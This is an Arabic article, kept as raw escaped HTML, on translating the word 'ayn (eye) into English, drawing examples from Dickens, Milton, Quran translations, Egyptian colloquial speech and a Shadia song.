\u0639\u064a\u0646\u0649 \u0639\u0627\u0644\u0648\u0644\u062f! &#8221; \u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u062a\u0631\u062c\u0645 \u0625\u0644\u0649 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0628 &#8221; Oh, oh ,for the poor little boy&#8221; \u0641\u0649 \u062d\u064a\u0646 \u0623\u0646 \u0627\u0644\u0623\u0645 \u0627\u0644\u062a\u0649 \u062a\u062f\u062e\u0644 \u0645\u0646\u0632\u0644\u0647\u0627 \u0641\u062a\u062c\u062f \u0623\u0637\u0641\u0627\u0644\u0647\u0627 \u0642\u0644\u0628\u0648\u0627 \u0627\u0644\u0645\u0646\u0632\u0644 \u0631\u0623\u0633\u0627\u064e \u0639\u0644\u0649 \u0639\u0642\u0628 \u0641\u062a\u0642\u0648\u0644 &#8221; \u064a\u0627 \u0639\u064a\u0646\u0649 \u0639\u0644\u0649 \u0627\u0644\u0641\u0648\u0636\u0649 !&#8221; \u064a\u0645\u0643\u0646 \u062a\u0631\u062c\u0645\u062a\u0647\u0627 \u0628 &#8220;Oh dear,what a mess!&#8221; \u0648 \u062d\u064a\u0646\u0645\u0627 \u0646\u0642\u0648\u0644 &#8221; \u064a\u0627 \u0639\u064a\u0646\u0649 \u0639\u0644\u0649 \u062c\u0645\u0627\u0644 \u0627\u0644\u0645\u0646\u0638\u0631! &#8221; \u064a\u0645\u0643\u0646 \u0623\u0646 \u0646\u062a\u0631\u062c\u0645\u0647\u0627 \u0628 &#8220;How beautiful\/magnificent\/breathtaking the view is!&#8221; \u00a0\u0623\u0645 \u062d\u064a\u0646\u0645\u0627 \u062a\u0639\u0628\u0631 \u0633\u064a\u062f\u0629 \u0623\u0648 \u0641\u062a\u0627\u0629 \u0639\u0646 \u062a\u0639\u0627\u0637\u0641\u0647\u0627 \u0645\u0639 \u0637\u0641\u0644 \u0635\u063a\u064a\u0631 \u0645\u0635\u0627\u0628 \u0628\u0645\u0631\u0636 \u0623\u0648 \u062a\u0639\u0631\u0636 \u0644\u062d\u0627\u062f\u062b\u0629 \u0642\u0627\u0626\u0644\u0629 &#8221; \u064a\u0627 \u0639\u064a\u0646\u0649 \u0639\u0644\u064a\u0643 ! &#8221; \u0641\u062a\u062a\u0631\u062c\u0645 &#8221; You poor dear&#8221; \u00a0\u0623\u0648 \u062d\u064a\u0646\u0645\u0627 \u064a\u0646\u0638\u0631 \u0641\u062a\u0649 \u0641\u0649 \u0633\u0627\u0639\u062a\u0647 \u0648 \u064a\u062c\u062f \u0623\u0646\u0647 \u062a\u0623\u062e\u0631 \u0641\u0649 \u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u0646\u0632\u0644 \u0645\u0645\u0627 \u0642\u062f \u064a\u063a\u0636\u0628 \u0648\u0627\u0644\u062f\u064a\u0647 \u0641\u064a\u0642\u0648\u0644 &#8221; \u064a\u0627\u0639\u064a\u0646\u0649! \u0627\u0644\u0633\u0627\u0639\u0629 \u0627\u0644\u062d\u0627\u062f\u064a\u0629 \u0639\u0634\u0631 \u0648 \u0623\u0646\u0627 \u0642\u0644\u062a \u0623\u0646\u0646\u0649 \u0633\u0648\u0641 \u0623\u0639\u0648\u062f \u0642\u0628\u0644 \u0627\u0644\u0633\u0627\u0639\u0629 \u0627\u0644\u0639\u0627\u0634\u0631\u0629. &#8221; \u0641\u064a\u0645\u0643\u0646 \u0627\u0646 \u0646\u062a\u0631\u062c\u0645\u0647\u0627 \u0642\u0627\u0626\u0644\u064a\u0646 &#8221; Dear me, it&#8217;s already eleven and I&#8217;ve said I&#8217;d be home by ten !&#8221; \u00a0\u00a0\u0625\u0644\u0627 \u0623\u0646 \u0627\u0644\u062c\u062f\u064a\u0631 \u0628\u0627\u0644\u0630\u0643\u0631 \u0623\u0646 \u0643\u0644\u0645\u0629 &#8221; eye&#8221; \u00a0\u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u062a\u0633\u062a\u062e\u062f\u0645 \u0628\u0645\u0639\u0646\u0649 \u0642\u0631\u064a\u0628 \u0645\u0646 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0643\u0644\u0645\u0629 &#8221; \u0639\u064a\u0646&#8221; \u0627\u0644\u0639\u0631\u0628\u064a\u0629\u00a0 \u0644\u0644\u062a\u0639\u0628\u064a\u0631 \u0639\u0646 \u0627\u0644\u062f\u0647\u0634\u0629 \u0648 \u0642\u062f \u0627\u0633\u062a\u062e\u062f\u0645\u0647\u0627 \u0627\u0644\u0631\u0648\u0627\u0626\u0649 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u0649 \u0627\u0628\u0646 \u0627\u0644\u0642\u0631\u0646 \u0627\u0644\u062a\u0627\u0633\u0639 \u0639\u0634\u0631 \u062a\u0634\u0627\u0631\u0644\u0632 \u062f\u064a\u0643\u0646\u0632 \u0641\u0649 \u0631\u0648\u0627\u064a\u062a\u0647 \u0627\u0644\u0634\u0647\u064a\u0631\u0629 \u0623\u0648\u0644\u064a\u0641\u0631 \u062a\u0648\u064a\u0633\u062a Oliver Twist \u00a0\u0628\u0630\u0644\u0643 \u0627\u0644\u0645\u0639\u0646\u0649 :<\/p>\n<p style=\"text-align: justify;\">\u00a0 &#8220;I suppose you don&#8217;t know what a beak is my flash com-pan-i-on&#8221;<\/p>\n<p style=\"text-align: justify;\">Oliver mildly replied that he had always heard a bird&#8217;s mouth described by the term in question.<\/p>\n<p style=\"text-align: justify;\">&#8220;My \u00a0eyes, how green!&#8221; exclaimed the young gentleman.<\/p>\n<p style=\"text-align: justify;\">&#8220;Why, a beak&#8217;s a madgst&#8217;rate \u2026?&#8221;<\/p>\n<p style=\"text-align: justify;\">&#8220;\u0648 \u0644\u0643\u0646\u0649 \u0623\u062d\u0633\u0628 \u0623\u0646\u0643 \u0644\u0627 \u062a\u0639\u0631\u0641 \u0645\u0627 \u0647\u0648&#8221; \u0627\u0644\u0645\u0646\u0642\u0627\u0631&#8221; \u064a\u0627 \u0631\u0641\u064a\u0642\u0649 \u0627\u0644\u0645\u062a\u0634\u0631\u062f &#8220;<\/p>\n<p style=\"text-align: justify;\">\u0641\u0623\u062c\u0627\u0628\u0647 \u0623\u0648\u0644\u064a\u0641\u0631 \u0641\u0649 \u0648\u062f\u0627\u0639\u0629 \u0642\u0627\u0626\u0644\u0627\u064e\u0623\u0646\u0647 \u0643\u0627\u0646 \u064a\u0633\u0645\u0639 \u0647\u0630\u0647 \u0627\u0644\u0644\u0641\u0638\u0629 \u062a\u0633\u062a\u0639\u0645\u0644 \u062f\u0627\u0626\u0645\u0627\u064e\u060c\u0639\u0646\u062f \u0627\u0644\u0643\u0644\u0627\u0645 \u0639\u0644\u0649 \u0627\u0644\u0637\u064a\u0648\u0631 \u060c \u0648 \u0625\u0646\u0647\u0627 \u062a\u0639\u0646\u0649 \u0641\u0645 \u0627\u0644\u0637\u0627\u0626\u0631 .<\/p>\n<p style=\"text-align: justify;\">\u0641\u0647\u062a\u0641 \u0627\u0644\u0633\u064a\u062f \u0627\u0644\u0634\u0627\u0628:&#8221; \u064a\u0627 \u0633\u0644\u0627\u0645! \u0645\u0627 \u0623\u0639\u0638\u0645 \u0633\u0630\u0627\u062c\u062a\u0643!\u0623\u0644\u0627 \u062a\u0639\u0631\u0641 \u0623\u0646 \u0627\u0644\u0645\u0646\u0642\u0627\u0631 \u0647\u0648 \u0627\u0644\u0642\u0627\u0636\u0649&#8230;\u061f&#8221;<\/p>\n<p style=\"text-align: justify;\">(\u062a\u0634\u0627\u0631\u0644\u0632 \u062f\u064a\u0643\u0646\u0632 ,\u0623\u0648\u0644\u064a\u0641\u0631 \u062a\u0648\u064a\u0633\u062a :\u0627\u0644\u0641\u0635\u0644 \u0627\u0644\u062b\u0627\u0645\u0646,\u062a\u0631\u062c\u0645\u0629 \u0645\u0646\u064a\u0631 \u0627\u0644\u0628\u0639\u0644\u0628\u0643\u0649)<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0644\u0627\u0628\u062f \u0645\u0646 \u0627\u0644\u062a\u0646\u0648\u064a\u0647 \u0623\u0646 \u0643\u0644\u0645\u0629 &#8221; green&#8221; \u0641\u0649 \u0627\u0644\u0641\u0642\u0631\u0629 \u0627\u0644\u0633\u0627\u0628\u0642\u0629 \u062a\u0639\u0646\u0649 &#8221; \u0633\u0627\u0630\u062c&#8221; \u0648 \u0644\u064a\u0633 &#8221; \u0623\u062e\u0636\u0631 &#8221; \u0643\u0645\u0627 \u0642\u062f \u064a\u062a\u0648\u0647\u0645 \u0627\u0644\u0628\u0639\u0636.<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0644\u0623\u0647\u0645\u064a\u0629 \u0627\u0644\u0639\u064a\u0646 \u0628\u064a\u0646 \u0633\u0627\u0626\u0631 \u062c\u0648\u0627\u0631\u062d \u0627\u0644\u062c\u0633\u062f \u0627\u0633\u062a\u062e\u062f\u0645\u0647\u0627 \u0627\u0644\u0639\u0631\u0628 \u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0643\u0644 \u0645\u0627 \u0647\u0648 \u0646\u0641\u064a\u0633 \u0648 \u063a\u0627\u0644\u0649 \u0643\u0645\u0627 \u0641\u0649 \u0642\u0648\u0644\u0647\u0645 &#8221; \u0639\u064a\u0648\u0646 \u0627\u0644\u0634\u0639\u0631 &#8221; \u0648\u0646\u062a\u0631\u062c\u0645\u0647\u0627 \u0627\u0644\u0649 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0628 &#8221; gems of poetry\/the choicest works of poetry&#8221;\u00a0 \u0648 \u0641\u0649 \u0646\u0641\u0633 \u0627\u0644\u0633\u064a\u0627\u0642 \u0627\u0633\u062a\u062e\u062f\u0645\u0647\u0627 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632 \u0644\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0645\u0631\u0627\u0643\u0632 \u0627\u0644\u0639\u0644\u0645 \u0648 \u0627\u0644\u062a\u0646\u0648\u064a\u0631 \u0643\u0645\u0627 \u0641\u0649 \u0642\u0648\u0644 \u0645\u0644\u062a\u0648\u0646 (Milton) \u0635\u0627\u062d\u0628 \u0627\u0644\u0641\u0631\u062f\u0648\u0633 \u0627\u0644\u0645\u0641\u0642\u0648\u062f \u0641\u0649 \u0645\u0644\u062d\u0645\u062a\u0647 \u0627\u0644\u0623\u0642\u0644 \u0634\u0647\u0631\u0629 (\u0639\u0648\u062f\u0629 \u0627\u0644\u0641\u0631\u062f\u0648\u0633 Paradise Regained) :<\/p>\n<p style=\"text-align: justify;\">Athens, the eye of Greece \u0623\u062b\u064a\u0646\u0627, \u0645\u0646\u0627\u0631\u0629 \u0627\u0644\u064a\u0648\u0646\u0627\u0646<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0(P.R:IV,240)<\/p>\n<p style=\"text-align: justify;\">\u0623\u0648 \u0643\u0645\u0627 \u0641\u0649 \u0642\u0648\u0644 \u0645\u0648\u0631\u062f\u0646 Morden \u00a0\u0641\u0649 \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u062c\u0627\u0645\u0639\u062a\u0649 \u0623\u0643\u0633\u0641\u0648\u0631\u062f \u0648 \u0643\u0645\u0628\u0631\u064a\u062f\u062c \u0623\u0639\u0631\u0642 \u062c\u0627\u0645\u0639\u0627\u062a \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632 \u0642\u0627\u0637\u0628\u0629 :<\/p>\n<p style=\"text-align: justify;\">&#8220;In the beautiful body of the kingdom of England, the two eyes are the two universities \u0641\u0649 \u062c\u0633\u062f \u0645\u0645\u0644\u0643\u0629 \u0627\u0646\u062c\u0644\u062a\u0631\u0627 \u0627\u0644\u0631\u0627\u0626\u0639 \u060c \u062a\u0639\u062f \u0627\u0644\u062c\u0627\u0645\u0639\u062a\u064a\u0646 \u0641\u064a\u0647\u0627 \u0628\u0645\u062b\u0627\u0628\u0629 \u0627\u0644\u0639\u064a\u0646\u064a\u0646 \u0627\u0644\u0628\u0635\u064a\u0631\u062a\u064a\u0646&#8221;<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0646\u0644\u0627\u062d\u0638 \u0623\u0646\u0646\u0649 \u0642\u062f \u062a\u0631\u062c\u0645\u062a \u0643\u0644\u0645\u0629 eye \u00a0\u0641\u0649 \u0627\u0644\u0625\u0642\u062a\u0628\u0627\u0633 \u0627\u0644\u0623\u0648\u0644 \u0628\u0643\u0644\u0645\u0629 &#8221; \u0645\u0646\u0627\u0631\u0629&#8221; \u0623\u0645\u0627 \u0641\u0649 \u0627\u0644\u0625\u0642\u062a\u0628\u0627\u0633 \u0627\u0644\u062b\u0627\u0646\u0649 \u0641\u0625\u0646\u0646\u0649 \u0642\u062f \u062a\u0631\u062c\u0645\u062a\u0647\u0627 \u0628&#8221; \u0627\u0644\u0639\u064a\u0646 \u0627\u0644\u0628\u0635\u064a\u0631\u0629&#8221;\u00a0 \u0648 \u0630\u0644\u0643 \u0648 \u0641\u0642\u0627 \u0644\u0645\u0642\u062a\u0636\u064a\u0627\u062a \u0627\u0644\u0633\u064a\u0627\u0642.<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0627\u0644\u0639\u064a\u0646 \u0639\u0646\u062f \u0627\u0644\u0639\u0631\u0628 \u0642\u062f\u064a\u0645\u0627\u064e \u0647\u0648 \u0627\u0644\u062c\u0627\u0633\u0648\u0633 \u0623\u0648 \u0647\u0648 \u0623\u062d\u062f \u0637\u0644\u0627\u0626\u0639 \u0627\u0644\u062c\u064a\u0634 \u0627\u0644\u062a\u0649 \u062a\u0633\u062a\u0643\u0634\u0641 \u062a\u062d\u0631\u0643\u0627\u062a \u0627\u0644\u0639\u062f\u0648 .\u0648 \u0639\u0644\u064a\u0647 \u062a\u0643\u0648\u0646 \u062a\u0631\u062c\u0645\u062a\u0647\u0627 \u0628 &#8220;scout\/spy\/reconnoiterer&#8221; \u064a\u0642\u0648\u0644 \u062c\u0648\u0646 \u0645\u064a\u0644\u062a\u0648\u0646 \u0641\u0649 \u0645\u0644\u062d\u0645\u0629 \u0627\u0644\u0641\u0631\u062f\u0648\u0633 \u0627\u0644\u0645\u0641\u0642\u0648\u062f:<\/p>\n<p style=\"text-align: justify;\">&#8220;Others from the dawning hills looked round, and scouts each Coast light-armed scoure, each quarter, to descrie the distant foe&#8221;<\/p>\n<p style=\"text-align: justify;\">&#8220;\u0628\u064a\u0646\u0645\u0627 \u0623\u0637\u0644 \u0622\u062e\u0631\u0648\u0646 \u0645\u0646 \u062a\u0644\u0627\u0644 \u0627\u0644\u0645\u0634\u0631\u0642, \u0648 \u0627\u0646\u062a\u0634\u0631 \u0627\u0644\u0643\u0634\u0627\u0641\u0629 \u062e\u0641\u0627\u0641 \u0627\u0644\u0633\u0644\u0627\u062d \u0641\u0649 \u0643\u0644 \u0623\u0641\u0642 \u0648 \u0643\u0644 \u0628\u0642\u0639\u0629 \u0644\u0627\u0633\u062a\u0637\u0644\u0627\u0639 \u0645\u0643\u0645\u0646 \u0627\u0644\u0639\u062f\u0648 \u0627\u0644\u0628\u0639\u064a\u062f&#8221;<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ( \u062a\u0631\u062c\u0645\u0629 \u0627\u0644\u062f\u0643\u062a\u0648\u0631 \u0645\u062d\u0645\u062f \u0639\u0646\u0627\u0646\u0649)<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0627\u0644\u0639\u064a\u0646 \u0639\u0646\u062f \u0627\u0644\u0639\u0631\u0628 \u062a\u0639\u0646\u0649 \u0623\u064a\u0636\u0627\u064e &#8221; \u0627\u0644\u0646\u0628\u0639 &#8221; \u0627\u0644\u0630\u0649 \u064a\u062e\u0631\u062c \u0645\u0646\u0647 \u0627\u0644\u0645\u0627\u0621 :<\/p>\n<p style=\"text-align: justify;\">Springs, in which the water does not considerably change its heat from one season of the year to another<\/p>\n<p style=\"text-align: justify;\">\u0639\u064a\u0648\u0646 \u0644\u0627 \u064a\u0637\u0631\u0623 \u0639\u0644\u0649 \u062f\u0631\u062c\u0629 \u062d\u0631\u0627\u0631\u0629 \u0645\u0627\u0621\u0647\u0627 \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u062a\u063a\u064a\u0631 \u0645\u0646 \u0641\u0635\u0644 \u0627\u0644\u0649 \u0622\u062e\u0631 \u0639\u0644\u0649 \u0645\u062f\u0627\u0631 \u0627\u0644\u0639\u0627\u0645<\/p>\n<p style=\"text-align: justify;\">\u0625\u0644\u0627 \u0623\u0646\u0647 \u0644\u0627 \u064a\u0646\u0628\u063a\u0649 \u0623\u0646 \u064a\u063a\u064a\u0628 \u0639\u0646\u0627 \u0641\u0649 \u0647\u0630\u0627 \u0627\u0644\u0645\u0648\u0636\u0639 \u0627\u0646 \u0643\u0644\u0645\u0629 &#8221; eye&#8221; \u00a0\u00a0\u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u062a\u0637\u0644\u0642 \u0627\u064a\u0636\u0627\u064e \u0639\u0644\u0649 &#8221; \u0646\u0628\u0639\/\u064a\u0646\u0628\u0648\u0639 \u0627\u0644\u0645\u0627\u0621&#8221; \u0643\u0645\u0627 \u0641\u0649 \u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0648 \u064a\u0630\u0643\u0631 \u0645\u0639\u062c\u0645 \u0623\u0643\u0633\u0641\u0648\u0631\u062f \u0627\u0644\u0643\u0628\u064a\u0631 (OED) \u0623\u0646 \u0623\u0635\u0644 \u0627\u0644\u0643\u0644\u0645\u0629 \u0641\u0649 \u0647\u0630\u0627 \u0627\u0644\u0645\u0639\u0646\u0649 \u064a\u0631\u062c\u0639 \u0627\u0644\u0649 \u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0639\u0631\u0628\u064a\u0629\u00a0 \u0648 \u0644\u0646\u062a\u0623\u0645\u0644 \u0627\u0644\u0645\u062b\u0627\u0644 \u0627\u0644\u062a\u0627\u0644\u0649 :<\/p>\n<p style=\"text-align: justify;\">A hollow, which anciently must have been the eye of the fountain \u062a\u062c\u0648\u064a\u0641 \u0644\u0627 \u0631\u064a\u0628 \u0623\u0646\u0647 \u0642\u062f \u0643\u0627\u0646 \u0642\u062f\u064a\u0645\u0627\u064e \u0639\u064a\u0646 \u0627\u0644\u0646\u0628\u0639<\/p>\n<p style=\"text-align: justify;\">\u0648 \u064a\u0642\u0648\u0644 \u0627\u0644\u0644\u0647 \u0633\u0628\u062d\u0627\u0646\u0647 \u0648 \u062a\u0639\u0627\u0644\u0649 \u0641\u0649 \u0643\u062a\u0627\u0628\u0647 \u0627\u0644\u0639\u0632\u064a\u0632 \u0641\u0649 \u0633\u0648\u0631\u0629 \u0627\u0644\u0643\u0647\u0641 \u0639\u0646 \u0630\u0649 \u0627\u0644\u0642\u0631\u0646\u064a\u0646 :<\/p>\n<p style=\"text-align: justify;\">&#8220;\u062d\u064e\u062a\u0651\u064e\u0649\u0670 \u0625\u0650\u0630\u064e\u0627 \u0628\u064e\u0644\u064e\u063a\u064e \u0645\u064e\u063a\u0652\u0631\u0650\u0628\u064e \u0627\u0644\u0634\u0651\u064e\u0645\u0652\u0633\u0650 \u0648\u064e\u062c\u064e\u062f\u064e\u0647\u064e\u0627 \u062a\u064e\u063a\u0652\u0631\u064f\u0628\u064f \u0641\u0650\u064a \u0639\u064e\u064a\u0652\u0646\u064d \u062d\u064e\u0645\u0650\u0626\u064e\u0629\u064d \u0648\u064e\u0648\u064e\u062c\u064e\u062f\u064e \u0639\u0650\u0646\u062f\u064e\u0647\u064e\u0627 \u0642\u064e\u0648\u0652\u0645\u064b\u0627 \u06d7 \u0642\u064f\u0644\u0652\u0646\u064e\u0627 \u064a\u064e\u0627 \u0630\u064e\u0627 \u0627\u0644\u0652\u0642\u064e\u0631\u0652\u0646\u064e\u064a\u0652\u0646\u0650 \u0625\u0650\u0645\u0651\u064e\u0627 \u0623\u064e\u0646 \u062a\u064f\u0639\u064e\u0630\u0651\u0650\u0628\u064e \u0648\u064e\u0625\u0650\u0645\u0651\u064e\u0627 \u0623\u064e\u0646 \u062a\u064e\u062a\u0651\u064e\u062e\u0650\u0630\u064e \u0641\u0650\u064a\u0647\u0650\u0645\u0652 \u062d\u064f\u0633\u0652\u0646\u064b\u0627 (86)\u00a0<\/p>\n<p style=\"text-align: justify;\">\u0648 &#8220;\u0627\u0644\u0639\u064a\u0646 \u0627\u0644\u062d\u0645\u0626\u0629 &#8221; \u0639\u0646\u062f \u0645\u0641\u0633\u0631\u0649 \u0627\u0644\u0642\u0631\u0622\u0646 \u0647\u0649 \u0627\u0644\u0637\u064a\u0646 \u0627\u0644\u0623\u0633\u0648\u062f \u0648 \u0630\u0647\u0628 \u0627\u0644\u0628\u0639\u0636 \u0627\u0644\u0622\u062e\u0631 \u0627\u0644\u0649 \u0623\u0646\u0647\u0627 &#8220;\u0627\u0644\u0639\u064a\u0646 \u0627\u0644\u062d\u0627\u0645\u064a\u0629 &#8221; \u0623\u0649 \u0627\u0644\u062d\u0627\u0631\u0629 .\u0648\u0644\u0646\u0631\u0649 \u0641\u0649 \u0639\u062c\u0627\u0644\u0629 \u0643\u064a\u0641 \u062a\u0631\u062c\u0645 \u0645\u062a\u0631\u062c\u0645\u0648 \u0627\u0644\u0642\u0631\u0622\u0646 \u0647\u0630\u0647 \u0627\u0644\u0622\u064a\u0629:<\/p>\n<ul style=\"text-align: justify;\">\n<li>&#8220;At sunset he reached a place where he watched the sun setting on the horizon, and it seemed to him that it was setting into a muddy river bank. So he went there and found a people there, we said: &#8221; O Zul-Qarnin! You either punish them or do good for them.&#8221;<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0(Ahmad Zidan&amp; Dina Zidan&#8221;<\/p>\n<ul style=\"text-align: justify;\">\n<li>&#8220;Till, when he reached the setting- place of the sun, he found it setting in a muddy spring, and found a people thereabout: We said: O Dhul-Qarneyn! Either punish or show them kindness.&#8221;<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0( M.M. Pickthall)<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">3-&#8221; Until, when he reached the setting of the sun, he found it set in a spring of murky water: near it he found a People: We said:&#8217; O Dhu&#8217;l \u2013Qarnayn!(Thou hast authority) either to punish them , or to treat them with kindness.&#8221;<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ( Abdullah\u00a0 Yusuf Ali)<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0627\u0644\u0639\u064a\u0646 \u0645\u0646 \u0627\u0644\u0646\u0627\u0633 \u0647\u0648 \u0643\u0628\u064a\u0631 \u0627\u0644\u0642\u0648\u0645 \u0648 \u0634\u0631\u064a\u0641\u0647\u0645 \u0648 \u0627\u0644\u062c\u0645\u0639 &#8220;\u0623\u0639\u064a\u0627\u0646&#8221;<\/p>\n<p style=\"text-align: justify;\">Notables of the town attended the wedding.<\/p>\n<p style=\"text-align: justify;\">\u062d\u0636\u0631 \u0623\u0639\u064a\u0627\u0646 \u0627\u0644\u0628\u0644\u062f\u0629 \u062d\u0641\u0644 \u0627\u0644\u0632\u0641\u0627\u0641.<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0643\u0627\u0646 \u0627\u0644\u0639\u0631\u0628 \u0642\u062f\u064a\u0645\u0627\u064e \u064a\u0642\u0648\u0644\u0648\u0646 &#8221; \u0641\u0649 \u0627\u0644\u0645\u064a\u0632\u0627\u0646 \u0639\u064a\u0646 &#8221; \u0623\u0649 \u0628\u0647 \u0645\u064a\u0644 \u0623\u0648 \u0623\u0646 \u0625\u062d\u062f\u0649 \u0643\u0641\u062a\u064a\u0647 \u062a\u0631\u062c\u062d \u0639\u0644\u0649 \u0627\u0644\u0623\u062e\u0631\u0649\u00a0 one of the scales outweighs the other \u0648 \u0641\u0649 \u0627\u0644\u0639\u0627\u0645\u064a\u0629 \u0627\u0644\u0645\u0635\u0631\u064a\u0629 \u0646\u0642\u0648\u0644 &#8221; \u0639\u0644\u0649 \u0639\u064a\u0646\u0643 \u064a\u0627 \u062a\u0627\u062c\u0631 &#8221;\u00a0 \u0628\u0645\u0639\u0646\u0649 \u0623\u0646 \u0634\u062e\u0635 \u0645\u0627 \u064a\u0642\u0648\u0645 \u0628\u0634\u0626 \u0645\u062e\u0627\u0644\u0641 \u0633\u0648\u0627\u0621 \u0644\u0644\u0642\u0627\u0646\u0648\u0646 \u0623\u0648 \u0627\u0644\u0639\u0631\u0641 \u0623\u0648 \u0627\u0644\u0639\u0627\u062f\u0627\u062a \u0648 \u0627\u0644\u062a\u0642\u0627\u0644\u064a\u062f \u062f\u0648\u0646\u0645\u0627 \u0648\u062c\u0644 \u0623\u0648 \u062e\u0648\u0641 \u0645\u0646 \u062d\u0633\u064a\u0628 \u0623\u0648 \u0631\u0642\u064a\u0628\u00a0 \u0648\u0644\u0646\u062a\u0623\u0645\u0644 \u0643\u064a\u0641 \u0646\u062a\u0631\u062c\u0645 \u0627\u0644\u0639\u0628\u0627\u0631\u0629 \u0641\u0649 \u0627\u0644\u062c\u0645\u0644\u0629 \u0627\u0644\u0645\u0635\u0631\u064a\u0629 \u0627\u0644\u062f\u0627\u0631\u062c\u0629 \u0627\u0644\u062a\u0627\u0644\u064a\u0629:<\/p>\n<p style=\"text-align: justify;\">&#8220;\u0639\u0644\u0649 \u0639\u064a\u0646\u0643 \u064a\u0627\u062a\u0627\u062c\u0631 \u0645\u0627\u0634\u064a\u0629 \u0645\u0634\u0649 \u0628\u0637\u0627\u0644 \u0645\u0639 \u0635\u0627\u062d\u0628 \u062c\u0648\u0632\u0647\u0627 &#8220;<\/p>\n<p style=\"text-align: justify;\">&#8220;She&#8217;s shamelessly having an affair with her husband&#8217;s friend&#8221;<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0639\u064a\u0646 \u0627\u0644\u0634\u0645\u0633 \u062d\u0631\u0627\u0631\u062a\u0647\u0627 \u0648 \u0634\u062f\u0629 \u0623\u0634\u0639\u062a\u0647\u0627 \u0648 \u0644\u0627 \u0623\u062d\u062f \u0645\u0646\u0627 \u064a\u062c\u0647\u0644 \u0645\u0637\u0644\u0639 \u0627\u0644\u0623\u063a\u0646\u064a\u0629 \u0627\u0644\u062a\u0649 \u062a\u0634\u062f\u0648 \u0628\u0647\u0627 \u0627\u0644\u0645\u0637\u0631\u0628\u0629 \u0634\u0627\u062f\u064a\u0629 \u0645\u0646 \u0643\u0644\u0645\u0627\u062a \u0645\u062c\u062f\u0649 \u0646\u062c\u064a\u0628 \u0648 \u0623\u0644\u062d\u0627\u0646 \u0628\u0644\u064a\u063a \u062d\u0645\u062f\u0649 :\u0642\u0648\u0644\u0648\u0627 \u0644\u0639\u064a\u0646 \u0627\u0644\u0634\u0645\u0633 \u0645\u0627 \u062a\u062d\u0645\u0627\u0634\u0649 \u0644\u062d\u0633\u0646 \u062d\u0628\u064a\u0628 \u0627\u0644\u0642\u0644\u0628 \u0635\u0627\u0628\u062d \u0645\u0627\u0634\u0649<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0647\u0627\u0643\u0645 \u062a\u0631\u062c\u0645\u062a\u0649 \u0644\u0645\u0637\u0644\u0639 \u0627\u0644\u0623\u063a\u0646\u064a\u0629:<\/p>\n<p style=\"text-align: justify;\">Tell the sunbeams\/sunrays not to shine too hot,<\/p>\n<p style=\"text-align: justify;\">For my sweetheart on leaving tomorrow is so hard set.<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0644\u0623\u0646 \u0627\u0644\u062d\u062f\u064a\u062b \u0639\u0646 \u0627\u0644\u0639\u064a\u0646 \u0648 \u062f\u0644\u0627\u0644\u062a\u0647\u0627 \u0628\u064a\u0646 \u0627\u0644\u0644\u063a\u062a\u064a\u0646 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0648 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0630\u0648 \u0634\u062c\u0648\u0646 \u0644\u0627\u064a\u0641\u064a\u0647 \u062d\u0642\u0647 \u0645\u0642\u0627\u0644 \u0635\u063a\u064a\u0631 \u0628\u0644 \u064a\u062d\u062a\u0627\u062c \u0643\u062a\u0627\u0628 \u0636\u062e\u0645 